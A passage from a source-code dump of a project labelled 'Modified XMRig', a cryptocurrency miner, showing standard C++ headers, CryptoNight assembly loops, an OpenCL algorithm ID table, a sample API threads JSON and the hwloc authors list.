finish(uint64_t totalHashCount); 41 | void printProgress() const; 42 | void start(); 43 | 44 | private: 45 | const IBackend *m_backend; 46 | const size_t m_workers; 47 | uint64_t m_current = 0; 48 | uint64_t m_startTime = 0; 49 | }; 50 | 51 | 52 | } // namespace xmrig 53 | 54 | 55 | #endif /* XMRIG_BENCHMARK_H */ 56 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/io/Async.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2015-2020 libuv project contributors. 3 | * Copyright (c) 2020 cohcho 4 | * Copyright (c) 2018-2020 SChernykh 5 | * Copyright (c) 2016-2020 XMRig , 6 | * 7 | * This program is free software: you can redistribute it and/or modify 8 | * it under the terms of the GNU General Public License as published by 9 | * the Free Software Foundation, either version 3 of the License, or 10 | * (at your option) any later version. 11 | * 12 | * This program is distributed in the hope that it will be useful, 13 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | * GNU General Public License for more details. 16 | * 17 | * You should have received a copy of the GNU General Public License 18 | * along with this program. If not, see . 19 | */ 20 | 21 | #ifndef XMRIG_ASYNC_H 22 | #define XMRIG_ASYNC_H 23 | 24 | 25 | #include "base/tools/Object.h" 26 | 27 | 28 | #include 29 | 30 | 31 | namespace xmrig { 32 | 33 | 34 | class AsyncPrivate; 35 | class IAsyncListener; 36 | 37 | 38 | class Async 39 | { 40 | public: 41 | XMRIG_DISABLE_COPY_MOVE_DEFAULT(Async) 42 | 43 | using Callback = std::function; 44 | 45 | Async(Callback callback); 46 | Async(IAsyncListener *listener); 47 | ~Async(); 48 | 49 | void send(); 50 | 51 | private: 52 | AsyncPrivate *d_ptr; 53 | }; 54 | 55 | 56 | } // namespace xmrig 57 | 58 | 59 | #endif /* XMRIG_ASYNC_H */ 60 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/net/dns/DnsConfig.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2021 SChernykh 3 | * Copyright (c) 2016-2021 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_DNSCONFIG_H 20 | #define XMRIG_DNSCONFIG_H 21 | 22 | 23 | #include "3rdparty/rapidjson/fwd.h" 24 | 25 | 26 | namespace xmrig { 27 | 28 | 29 | class DnsConfig 30 | { 31 | public: 32 | static const char *kField; 33 | static const char *kIPv6; 34 | static const char *kTTL; 35 | 36 | DnsConfig() = default; 37 | DnsConfig(const rapidjson::Value &value); 38 | 39 | inline bool isIPv6() const { return m_ipv6; } 40 | inline uint32_t ttl() const { return m_ttl * 1000U; } 41 | 42 | rapidjson::Value toJSON(rapidjson::Document &doc) const; 43 | 44 | 45 | private: 46 | bool m_ipv6 = false; 47 | uint32_t m_ttl = 30U; 48 | }; 49 | 50 | 51 | } /* namespace xmrig */ 52 | 53 | 54 | #endif /* XMRIG_DNSCONFIG_H */ 55 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/cn/asm/cn1/cnv1_single_main_loop.inc: -------------------------------------------------------------------------------- 1 | mov QWORD PTR [rsp+8], rbx 2 | mov QWORD PTR [rsp+16], rbp 3 | mov QWORD PTR [rsp+24], rsi 4 | mov QWORD PTR [rsp+32], rdi 5 | push r13 6 | push r14 7 | push r15 8 | mov rdx, QWORD PTR [rcx] 9 | mov esi, 524288 10 | mov r11, QWORD PTR [rdx+32] 11 | xor r11, QWORD PTR [rdx] 12 | mov rdi, QWORD PTR [rdx+224] 13 | mov rbx, QWORD PTR [rdx+40] 14 | xor rbx, QWORD PTR [rdx+8] 15 | mov rcx, QWORD PTR [rdx+56] 16 | xor rcx, QWORD PTR [rdx+24] 17 | mov rax, QWORD PTR [rdx+48] 18 | xor rax, QWORD PTR [rdx+16] 19 | mov rbp, QWORD PTR [rdx+240] 20 | mov r14, QWORD PTR [rdx+232] 21 | movq xmm2, rax 22 | pinsrq xmm2, rcx, 1 23 | 24 | ALIGN(64) 25 | main_loop_cnv1_single: 26 | mov r8, r11 27 | and r8d, 2097136 28 | movdqu xmm1, XMMWORD PTR [rdi+r8] 29 | movq xmm0, r11 30 | pinsrq xmm0, rbx, 1 31 | aesenc xmm1, xmm0 32 | movq r15, xmm1 33 | mov r9, r15 34 | and r9d, 2097136 35 | movdqa xmm0, xmm1 36 | pxor xmm0, xmm2 37 | movdqa xmm2, xmm1 38 | movq QWORD PTR [rdi+r8], xmm0 39 | pextrq rdx, xmm0, 1 40 | mov eax, edx 41 | shr rax, 24 42 | mov ecx, DWORD PTR [r14+rax*4] 43 | xor rcx, rdx 44 | mov QWORD PTR [rdi+r8+8], rcx 45 | mov r10, QWORD PTR [rdi+r9] 46 | mov r8, QWORD PTR [rdi+r9+8] 47 | mov rax, r10 48 | mul r15 49 | add rbx, rax 50 | add r11, rdx 51 | mov QWORD PTR [rdi+r9], r11 52 | mov rax, rbx 53 | xor rbx, r8 54 | xor r11, r10 55 | xor rax, rbp 56 | mov QWORD PTR [rdi+r9+8], rax 57 | sub rsi, 1 58 | jne main_loop_cnv1_single 59 | 60 | pop r15 61 | pop r14 62 | pop r13 63 | mov rbx, QWORD PTR [rsp+8] 64 | mov rbp, QWORD PTR [rsp+16] 65 | mov rsi, QWORD PTR [rsp+24] 66 | mov rdi, QWORD PTR [rsp+32] 67 | -------------------------------------------------------------------------------- /Modified XMRig/src/backend/opencl/OclCache_unix.cpp: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright 2010 Jeff Garzik 3 | * Copyright 2012-2014 pooler 4 | * Copyright 2014 Lucas Jones 5 | * Copyright 2014-2016 Wolf9466 6 | * Copyright 2016 Jay D Dee 7 | * Copyright 2017-2018 XMR-Stak , 8 | * Copyright 2018-2019 SChernykh 9 | * Copyright 2016-2019 XMRig , 10 | * 11 | * This program is free software: you can redistribute it and/or modify 12 | * it under the terms of the GNU General Public License as published by 13 | * the Free Software Foundation, either version 3 of the License, or 14 | * (at your option) any later version. 15 | * 16 | * This program is distributed in the hope that it will be useful, 17 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 18 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 19 | * GNU General Public License for more details. 20 | * 21 | * You should have received a copy of the GNU General Public License 22 | * along with this program. If not, see . 23 | */ 24 | 25 | #include 26 | #include 27 | 28 | 29 | #include "backend/opencl/OclCache.h" 30 | 31 | 32 | void xmrig::OclCache::createDirectory() 33 | { 34 | std::string path = prefix() + "/.cache"; 35 | mkdir(path.c_str(), 0744); 36 | } 37 | 38 | 39 | std::string xmrig::OclCache::prefix() 40 | { 41 | return "."; 42 | } 43 | -------------------------------------------------------------------------------- /Modified XMRig/src/backend/cuda/CudaLaunchData.cpp: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2020 SChernykh 3 | * Copyright (c) 2016-2020 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | 20 | #include "backend/cuda/CudaLaunchData.h" 21 | #include "backend/common/Tags.h" 22 | 23 | 24 | xmrig::CudaLaunchData::CudaLaunchData(const Miner *miner, const Algorithm &algorithm, const CudaThread &thread, const CudaDevice &device) : 25 | algorithm(algorithm), 26 | device(device), 27 | thread(thread), 28 | affinity(thread.affinity()), 29 | miner(miner) 30 | { 31 | } 32 | 33 | 34 | bool xmrig::CudaLaunchData::isEqual(const CudaLaunchData &other) const 35 | { 36 | return (other.algorithm.family() == algorithm.family() && 37 | other.algorithm.l3() == algorithm.l3() && 38 | other.thread == thread); 39 | } 40 | 41 | 42 | const char *xmrig::CudaLaunchData::tag() 43 | { 44 | return cuda_tag(); 45 | } 46 | -------------------------------------------------------------------------------- /Modified XMRig/src/backend/opencl/cl/cn/algorithm.cl: -------------------------------------------------------------------------------- 1 | #define ALGO_CN_0 0x63150000 2 | #define ALGO_CN_1 0x63150100 3 | #define ALGO_CN_2 0x63150200 4 | #define ALGO_CN_R 0x63150272 5 | #define ALGO_CN_FAST 0x63150166 6 | #define ALGO_CN_HALF 0x63150268 7 | #define ALGO_CN_XAO 0x63150078 8 | #define ALGO_CN_RTO 0x63150172 9 | #define ALGO_CN_RWZ 0x63150277 10 | #define ALGO_CN_ZLS 0x6315027a 11 | #define ALGO_CN_DOUBLE 0x63150264 12 | #define ALGO_CN_CCX 0x63150063 13 | #define ALGO_CN_LITE_0 0x63140000 14 | #define ALGO_CN_LITE_1 0x63140100 15 | #define ALGO_CN_HEAVY_0 0x63160000 16 | #define ALGO_CN_HEAVY_TUBE 0x63160172 17 | #define ALGO_CN_HEAVY_XHV 0x63160068 18 | #define ALGO_CN_PICO_0 0x63120200 19 | #define ALGO_CN_PICO_TLO 0x63120274 20 | #define ALGO_CN_UPX2 0x63110200 21 | #define ALGO_RX_0 0x72151200 22 | #define ALGO_RX_WOW 0x72141177 23 | #define ALGO_RX_ARQMA 0x72121061 24 | #define ALGO_RX_SFX 0x72151273 25 | #define ALGO_RX_GRAFT 0x72151267 26 | #define ALGO_RX_YADA 0x72151279 27 | #define ALGO_AR2_CHUKWA 0x61130000 28 | #define ALGO_AR2_CHUKWA_V2 0x61140000 29 | #define ALGO_AR2_WRKZ 0x61120000 30 | #define ALGO_KAWPOW_RVN 0x6b0f0000 31 | 32 | #define FAMILY_UNKNOWN 0 33 | #define FAMILY_CN 0x63150000 34 | #define FAMILY_CN_LITE 0x63140000 35 | #define FAMILY_CN_HEAVY 0x63160000 36 | #define FAMILY_CN_PICO 0x63120000 37 | #define FAMILY_CN_FEMTO 0x63110000 38 | #define FAMILY_RANDOM_X 0x72000000 39 | #define FAMILY_ARGON2 0x61000000 40 | #define FAMILY_KAWPOW 0x6b000000 41 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/cn/asm/win64/cn1/cnv1_single_main_loop.inc: -------------------------------------------------------------------------------- 1 | mov QWORD PTR [rsp+8], rbx 2 | mov QWORD PTR [rsp+16], rbp 3 | mov QWORD PTR [rsp+24], rsi 4 | mov QWORD PTR [rsp+32], rdi 5 | push r13 6 | push r14 7 | push r15 8 | mov rdx, QWORD PTR [rcx] 9 | mov esi, 524288 10 | mov r11, QWORD PTR [rdx+32] 11 | xor r11, QWORD PTR [rdx] 12 | mov rdi, QWORD PTR [rdx+224] 13 | mov rbx, QWORD PTR [rdx+40] 14 | xor rbx, QWORD PTR [rdx+8] 15 | mov rcx, QWORD PTR [rdx+56] 16 | xor rcx, QWORD PTR [rdx+24] 17 | mov rax, QWORD PTR [rdx+48] 18 | xor rax, QWORD PTR [rdx+16] 19 | mov rbp, QWORD PTR [rdx+240] 20 | mov r14, QWORD PTR [rdx+232] 21 | movd xmm2, rax 22 | pinsrq xmm2, rcx, 1 23 | 24 | ALIGN(64) 25 | main_loop_cnv1_single: 26 | mov r8, r11 27 | and r8d, 2097136 28 | movdqu xmm1, XMMWORD PTR [rdi+r8] 29 | movd xmm0, r11 30 | pinsrq xmm0, rbx, 1 31 | aesenc xmm1, xmm0 32 | movd r15, xmm1 33 | mov r9, r15 34 | and r9d, 2097136 35 | movdqa xmm0, xmm1 36 | pxor xmm0, xmm2 37 | movdqa xmm2, xmm1 38 | movd QWORD PTR [rdi+r8], xmm0 39 | pextrq rdx, xmm0, 1 40 | mov eax, edx 41 | shr rax, 24 42 | mov ecx, DWORD PTR [r14+rax*4] 43 | xor rcx, rdx 44 | mov QWORD PTR [rdi+r8+8], rcx 45 | mov r10, QWORD PTR [rdi+r9] 46 | mov r8, QWORD PTR [rdi+r9+8] 47 | mov rax, r10 48 | mul r15 49 | add rbx, rax 50 | add r11, rdx 51 | mov QWORD PTR [rdi+r9], r11 52 | mov rax, rbx 53 | xor rbx, r8 54 | xor r11, r10 55 | xor rax, rbp 56 | mov QWORD PTR [rdi+r9+8], rax 57 | sub rsi, 1 58 | jne main_loop_cnv1_single 59 | 60 | pop r15 61 | pop r14 62 | pop r13 63 | mov rbx, QWORD PTR [rsp+8] 64 | mov rbp, QWORD PTR [rsp+16] 65 | mov rsi, QWORD PTR [rsp+24] 66 | mov rdi, QWORD PTR [rsp+32] 67 | -------------------------------------------------------------------------------- /Modified XMRig/src/backend/opencl/cl/OclSource.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright 2010 Jeff Garzik 3 | * Copyright 2012-2014 pooler 4 | * Copyright 2014 Lucas Jones 5 | * Copyright 2014-2016 Wolf9466 6 | * Copyright 2016 Jay D Dee 7 | * Copyright 2017-2018 XMR-Stak , 8 | * Copyright 2018-2020 SChernykh 9 | * Copyright 2016-2020 XMRig , 10 | * 11 | * This program is free software: you can redistribute it and/or modify 12 | * it under the terms of the GNU General Public License as published by 13 | * the Free Software Foundation, either version 3 of the License, or 14 | * (at your option) any later version. 15 | * 16 | * This program is distributed in the hope that it will be useful, 17 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 18 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 19 | * GNU General Public License for more details. 20 | * 21 | * You should have received a copy of the GNU General Public License 22 | * along with this program. If not, see . 23 | */ 24 | 25 | #ifndef XMRIG_OCLSOURCE_H 26 | #define XMRIG_OCLSOURCE_H 27 | 28 | 29 | namespace xmrig { 30 | 31 | 32 | class Algorithm; 33 | 34 | 35 | class OclSource 36 | { 37 | public: 38 | static const char *get(const Algorithm &algorithm); 39 | static void init(); 40 | }; 41 | 42 | 43 | } // namespace xmrig 44 | 45 | 46 | #endif /* XMRIG_OCLSOURCE_H */ 47 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/tools/Object.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2023 SChernykh 3 | * Copyright (c) 2016-2023 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_OBJECT_H 20 | #define XMRIG_OBJECT_H 21 | 22 | 23 | #include 24 | #include 25 | #include 26 | 27 | 28 | namespace xmrig { 29 | 30 | 31 | #define XMRIG_DISABLE_COPY_MOVE(X) \ 32 | X(const X &other) = delete; \ 33 | X(X &&other) = delete; \ 34 | X &operator=(const X &other) = delete; \ 35 | X &operator=(X &&other) = delete; 36 | 37 | 38 | #define XMRIG_DISABLE_COPY_MOVE_DEFAULT(X) \ 39 | X() = delete; \ 40 | X(const X &other) = delete; \ 41 | X(X &&other) = delete; \ 42 | X &operator=(const X &other) = delete; \ 43 | X &operator=(X &&other) = delete; 44 | 45 | 46 | } // namespace xmrig 47 | 48 | 49 | #endif // XMRIG_OBJECT_H 50 | -------------------------------------------------------------------------------- /Modified XMRig/src/backend/opencl/wrappers/OclVendor.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright 2010 Jeff Garzik 3 | * Copyright 2012-2014 pooler 4 | * Copyright 2014 Lucas Jones 5 | * Copyright 2014-2016 Wolf9466 6 | * Copyright 2016 Jay D Dee 7 | * Copyright 2017-2018 XMR-Stak , 8 | * Copyright 2018-2019 SChernykh 9 | * Copyright 2016-2019 XMRig , 10 | * 11 | * This program is free software: you can redistribute it and/or modify 12 | * it under the terms of the GNU General Public License as published by 13 | * the Free Software Foundation, either version 3 of the License, or 14 | * (at your option) any later version. 15 | * 16 | * This program is distributed in the hope that it will be useful, 17 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 18 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 19 | * GNU General Public License for more details. 20 | * 21 | * You should have received a copy of the GNU General Public License 22 | * along with this program. If not, see . 23 | */ 24 | 25 | #ifndef XMRIG_OCLVENDOR_H 26 | #define XMRIG_OCLVENDOR_H 27 | 28 | 29 | namespace xmrig { 30 | 31 | 32 | enum OclVendor : unsigned { 33 | OCL_VENDOR_UNKNOWN, 34 | OCL_VENDOR_AMD, 35 | OCL_VENDOR_NVIDIA, 36 | OCL_VENDOR_INTEL, 37 | OCL_VENDOR_APPLE 38 | }; 39 | 40 | 41 | } // namespace xmrig 42 | 43 | 44 | #endif /* XMRIG_OCLVENDOR_H */ 45 | -------------------------------------------------------------------------------- /Modified XMRig/doc/api/1/threads.json: -------------------------------------------------------------------------------- 1 | { 2 | "hugepages": [ 3 | 4, 4 | 4 5 | ], 6 | "memory": 8388608, 7 | "threads": [ 8 | { 9 | "type": "cpu", 10 | "algo": "cryptonight", 11 | "av": 1, 12 | "low_power_mode": 1, 13 | "affine_to_cpu": 0, 14 | "priority": -1, 15 | "soft_aes": false, 16 | "hashrate": [ 17 | 73.39, 18 | 73.4, 19 | 73.28 20 | ] 21 | }, 22 | { 23 | "type": "cpu", 24 | "algo": "cryptonight", 25 | "av": 1, 26 | "low_power_mode": 1, 27 | "affine_to_cpu": 1, 28 | "priority": -1, 29 | "soft_aes": false, 30 | "hashrate": [ 31 | 74.72, 32 | 74.72, 33 | 74.7 34 | ] 35 | }, 36 | { 37 | "type": "cpu", 38 | "algo": "cryptonight", 39 | "av": 1, 40 | "low_power_mode": 1, 41 | "affine_to_cpu": 2, 42 | "priority": -1, 43 | "soft_aes": false, 44 | "hashrate": [ 45 | 74.71, 46 | 74.72, 47 | 74.7 48 | ] 49 | }, 50 | { 51 | "type": "cpu", 52 | "algo": "cryptonight", 53 | "av": 1, 54 | "low_power_mode": 1, 55 | "affine_to_cpu": 3, 56 | "priority": -1, 57 | "soft_aes": false, 58 | "hashrate": [ 59 | 73.39, 60 | 73.4, 61 | 73.28 62 | ] 63 | } 64 | ] 65 | } -------------------------------------------------------------------------------- /Modified XMRig/src/base/kernel/interfaces/IDnsBackend.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2021 SChernykh 3 | * Copyright (c) 2016-2021 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_IDNSBACKEND_H 20 | #define XMRIG_IDNSBACKEND_H 21 | 22 | 23 | #include "base/tools/Object.h" 24 | 25 | 26 | #include 27 | 28 | 29 | namespace xmrig { 30 | 31 | 32 | class DnsRecords; 33 | class DnsRequest; 34 | class IDnsListener; 35 | class String; 36 | 37 | 38 | class IDnsBackend 39 | { 40 | public: 41 | XMRIG_DISABLE_COPY_MOVE(IDnsBackend) 42 | 43 | IDnsBackend() = default; 44 | virtual ~IDnsBackend() = default; 45 | 46 | virtual const DnsRecords &records() const = 0; 47 | virtual std::shared_ptr resolve(const String &host, IDnsListener *listener, uint64_t ttl) = 0; 48 | }; 49 | 50 | 51 | } /* namespace xmrig */ 52 | 53 | 54 | #endif // XMRIG_IDNSBACKEND_H 55 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/cn/c_groestl.h: -------------------------------------------------------------------------------- 1 | #ifndef __hash_h 2 | #define __hash_h 3 | /* 4 | #include "crypto_uint8.h" 5 | #include "crypto_uint32.h" 6 | #include "crypto_uint64.h" 7 | #include "crypto_hash.h" 8 | 9 | typedef crypto_uint8 uint8_t; 10 | typedef crypto_uint32 uint32_t; 11 | typedef crypto_uint64 uint64_t; 12 | */ 13 | #include 14 | 15 | #include "hash.h" 16 | 17 | /* some sizes (number of bytes) */ 18 | #define ROWS 8 19 | #define LENGTHFIELDLEN ROWS 20 | #define COLS512 8 21 | 22 | #define SIZE512 (ROWS*COLS512) 23 | 24 | #define ROUNDS512 10 25 | #define HASH_BIT_LEN 256 26 | 27 | #define ROTL32(v, n) ((((v)<<(n))|((v)>>(32-(n))))&li_32(ffffffff)) 28 | 29 | 30 | #define li_32(h) 0x##h##u 31 | #define EXT_BYTE(var,n) ((uint8_t)((uint32_t)(var) >> (8*n))) 32 | #define u32BIG(a) \ 33 | ((ROTL32(a,8) & li_32(00FF00FF)) | \ 34 | (ROTL32(a,24) & li_32(FF00FF00))) 35 | 36 | 37 | /* NIST API begin */ 38 | typedef struct { 39 | uint32_t chaining[SIZE512/sizeof(uint32_t)]; /* actual state */ 40 | uint32_t block_counter1, 41 | block_counter2; /* message block counter(s) */ 42 | BitSequence buffer[SIZE512]; /* data buffer */ 43 | int buf_ptr; /* data buffer pointer */ 44 | int bits_in_last_byte; /* no. of message bits in last byte of 45 | data buffer */ 46 | } groestlHashState; 47 | 48 | /*void Init(hashState*); 49 | void Update(hashState*, const BitSequence*, DataLength); 50 | void Final(hashState*, BitSequence*); */ 51 | void groestl(const BitSequence*, DataLength, BitSequence*); 52 | /* NIST API end */ 53 | 54 | /* 55 | int crypto_hash(unsigned char *out, 56 | const unsigned char *in, 57 | unsigned long long len); 58 | */ 59 | 60 | #endif /* __hash_h */ 61 | -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/hwloc/AUTHORS: -------------------------------------------------------------------------------- 1 | hwloc Authors 2 | ============= 3 | 4 | The following cumulative list contains the names of most individuals 5 | who have committed code to the hwloc repository 6 | (either directly or through a third party). 7 | 8 | Name Affiliation(s) 9 | --------------------------- -------------------- 10 | Grzegorz Andrejczuk Intel 11 | Cédric Augonnet University of Bordeaux 12 | Guillaume Beauchamp Inria 13 | Ahmad Boissetri Binzagr Inria 14 | Cyril Bordage Inria 15 | Nicholas Buroker UWL 16 | Christopher M. Cantalupo Intel 17 | Jérôme Clet-Ortega University of Bordeaux 18 | Ludovic Courtès Inria 19 | Clément Foyer Inria 20 | Nathalie Furmento CNRS 21 | Bryon Gloden 22 | Brice Goglin Inria 23 | Gilles Gouaillardet RIST 24 | Valentin Hoyet Inria 25 | Joshua Hursey UWL 26 | Alexey Kardashevskiy IBM 27 | Rob Latham ANL 28 | Douglas MacFarland UWL 29 | Marc Marí BSC 30 | Jonathan L Peyton Intel 31 | Piotr Luc Intel 32 | Antoine Rougier intern from University of Bordeaux 33 | Jeff Squyres Cisco 34 | Samuel Thibault University of Bordeaux 35 | Jean-Yves VET DDN 36 | Benjamin Worpitz 37 | Jeff Zhao Zhaoxin 38 | 39 | Affiliaion abbreviations: 40 | ------------------------- 41 | ANL = Argonne National Lab 42 | BSC = Barcelona Supercomputing Center 43 | Cisco = Cisco Systems, Inc. 44 | CNRS = Centre national de la recherche scientifique (France) 45 | UWL = University of Wisconsin-La Crosse 46 | -------------------------------------------------------------------------------- /Modified XMRig/src/backend/opencl/OclGenerator.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright 2010 Jeff Garzik 3 | * Copyright 2012-2014 pooler 4 | * Copyright 2014 Lucas Jones 5 | * Copyright 2014-2016 Wolf9466 6 | * Copyright 2016 Jay D Dee 7 | * Copyright 2017-2018 XMR-Stak , 8 | * Copyright 2018-2019 SChernykh 9 | * Copyright 2016-2019 XMRig , 10 | * 11 | * This program is free software: you can redistribute it and/or modify 12 | * it under the terms of the GNU General Public License as published by 13 | * the Free Software Foundation, either version 3 of the License, or 14 | * (at your option) any later version. 15 | * 16 | * This program is distributed in the hope that it will be useful, 17 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 18 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 19 | * GNU General Public License for more details. 20 | * 21 | * You should have received a copy of the GNU General Public License 22 | * along with this program. If not, see . 23 | */ 24 | 25 | #ifndef XMRIG_OCLGENERATOR_H 26 | #define XMRIG_OCLGENERATOR_H 27 | 28 | 29 | namespace xmrig { 30 | 31 | 32 | class Algorithm; 33 | class OclDevice; 34 | class OclThreads; 35 | 36 | 37 | using ocl_gen_config_fun = bool (*)(const OclDevice &device, const Algorithm &algorithm, OclThreads &threads); 38 | 39 | 40 | } // namespace xmrig 41 | 42 | 43 | #endif /* XMRIG_OCLGENERATOR_H */ 44 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/net/dns/DnsRecord.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2021 SChernykh 3 | * Copyright (c) 2016-2021 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_DNSRECORD_H 20 | #define XMRIG_DNSRECORD_H 21 | 22 | 23 | struct addrinfo; 24 | struct sockaddr; 25 | 26 | 27 | #include "base/tools/String.h" 28 | 29 | 30 | namespace xmrig { 31 | 32 | 33 | class DnsRecord 34 | { 35 | public: 36 | enum Type : uint32_t { 37 | Unknown, 38 | A, 39 | AAAA 40 | }; 41 | 42 | DnsRecord() {} 43 | DnsRecord(const addrinfo *addr); 44 | 45 | const sockaddr *addr(uint16_t port = 0) const; 46 | String ip() const; 47 | 48 | inline bool isValid() const { return m_type != Unknown; } 49 | inline Type type() const { return m_type; } 50 | 51 | private: 52 | mutable uint8_t m_data[28]{}; 53 | const Type m_type = Unknown; 54 | }; 55 | 56 | 57 | } /* namespace xmrig */ 58 | 59 | 60 | #endif /* XMRIG_DNSRECORD_H */ 61 | -------------------------------------------------------------------------------- /Modified XMRig/src/backend/cuda/wrappers/NvmlHealth.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright 2010 Jeff Garzik 3 | * Copyright 2012-2014 pooler 4 | * Copyright 2014 Lucas Jones 5 | * Copyright 2014-2016 Wolf9466 6 | * Copyright 2016 Jay D Dee 7 | * Copyright 2017-2018 XMR-Stak , 8 | * Copyright 2018-2019 SChernykh 9 | * Copyright 2016-2019 XMRig , 10 | * 11 | * This program is free software: you can redistribute it and/or modify 12 | * it under the terms of the GNU General Public License as published by 13 | * the Free Software Foundation, either version 3 of the License, or 14 | * (at your option) any later version. 15 | * 16 | * This program is distributed in the hope that it will be useful, 17 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 18 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 19 | * GNU General Public License for more details. 20 | * 21 | * You should have received a copy of the GNU General Public License 22 | * along with this program. If not, see . 23 | */ 24 | 25 | #ifndef XMRIG_NVMLHEALTH_H 26 | #define XMRIG_NVMLHEALTH_H 27 | 28 | 29 | #include 30 | #include 31 | 32 | 33 | struct NvmlHealth 34 | { 35 | std::vector fanSpeed; 36 | uint32_t clock = 0; 37 | uint32_t memClock = 0; 38 | uint32_t power = 0; 39 | uint32_t temperature = 0; 40 | }; 41 | 42 | 43 | #endif /* XMRIG_NVMLHEALTH_H */ 44 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/kernel/interfaces/IConfigListener.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright 2010 Jeff Garzik 3 | * Copyright 2012-2014 pooler 4 | * Copyright 2014 Lucas Jones 5 | * Copyright 2014-2016 Wolf9466 6 | * Copyright 2016 Jay D Dee 7 | * Copyright 2017-2018 XMR-Stak , 8 | * Copyright 2018-2019 SChernykh 9 | * Copyright 2016-2019 XMRig , 10 | * 11 | * This program is free software: you can redistribute it and/or modify 12 | * it under the terms of the GNU General Public License as published by 13 | * the Free Software Foundation, either version 3 of the License, or 14 | * (at your option) any later version. 15 | * 16 | * This program is distributed in the hope that it will be useful, 17 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 18 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 19 | * GNU General Public License for more details. 20 | * 21 | * You should have received a copy of the GNU General Public License 22 | * along with this program. If not, see . 23 | */ 24 | 25 | #ifndef XMRIG_ICONFIGLISTENER_H 26 | #define XMRIG_ICONFIGLISTENER_H 27 | 28 | 29 | namespace xmrig { 30 | 31 | 32 | class IConfig; 33 | 34 | 35 | class IConfigListener 36 | { 37 | public: 38 | virtual ~IConfigListener() = default; 39 | 40 | virtual void onNewConfig(IConfig *config) = 0; 41 | }; 42 | 43 | 44 | } /* namespace xmrig */ 45 | 46 | 47 | #endif // 